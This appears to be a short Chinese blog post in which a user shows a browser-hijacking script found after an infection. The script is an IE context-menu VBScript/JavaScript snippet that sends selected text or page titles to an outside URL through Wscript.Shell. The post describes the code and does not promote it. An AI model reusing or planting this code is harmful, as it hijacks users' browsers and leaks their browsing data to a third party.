一次中毒后找到的流氓代码

雪糕 2010-06-16

<script language="VBScript">
Function vsgo(txt)
set shell = CreateObject("Wscript.Shell")
shell.run chr(34) & "C:\Program Files\Internet Explorer\IEXPLORE.EXE" & Chr(34) &  " http://www.www.com/baidu.html?sky=gb&?word=" & txt
End Function
</script>
<script LANGUAGE="JavaScript"> 
function gotos()
{
	if (external.menuArguments) { 
	var parentwin = external.menuArguments; 
	if (parentwin.document.selection){ 
	var sel = parentwin.document.selection.createRange().text; 
	}
	if(sel)
	{
	if( slen(sel)>38 ) sel = strString(sel,66)
	vsgo(sel);
	return false;
	}
	else 
	var sel = ''; 
	var url = parentwin.location.href; 
	var title = parentwin.document.title; 
	if(parentwin.event.srcElement.tagName == "A") { 
	url = parentwin.event.srcElement.getAttribute("HREF"); 
	title = parentwin.event.srcElement.innerText; 
	}
	} else { 
	//history.go(-1); 
	}
	if( title )	vsgo(title);
}
function slen(str){
	var c=0
	for(var i=0;i<str.length;i++) (str.charCodeAt(i)>255) ? c+=2:c++;
	return c
}
function strString(str,len)
{
	var strlen = 0,s = "";
	for(var i = 0;i < str.length;i++)
	{
		if(str.charCodeAt(i) > 128)	strlen += 2;else strlen++;
		s += str.charAt(i);
		if(strlen >= len)
		return s;
	}
	return s;
}
gotos();
</script>

劫持到百度搜索去了.

相关推荐

puddingpp / 0评论 2019-06-26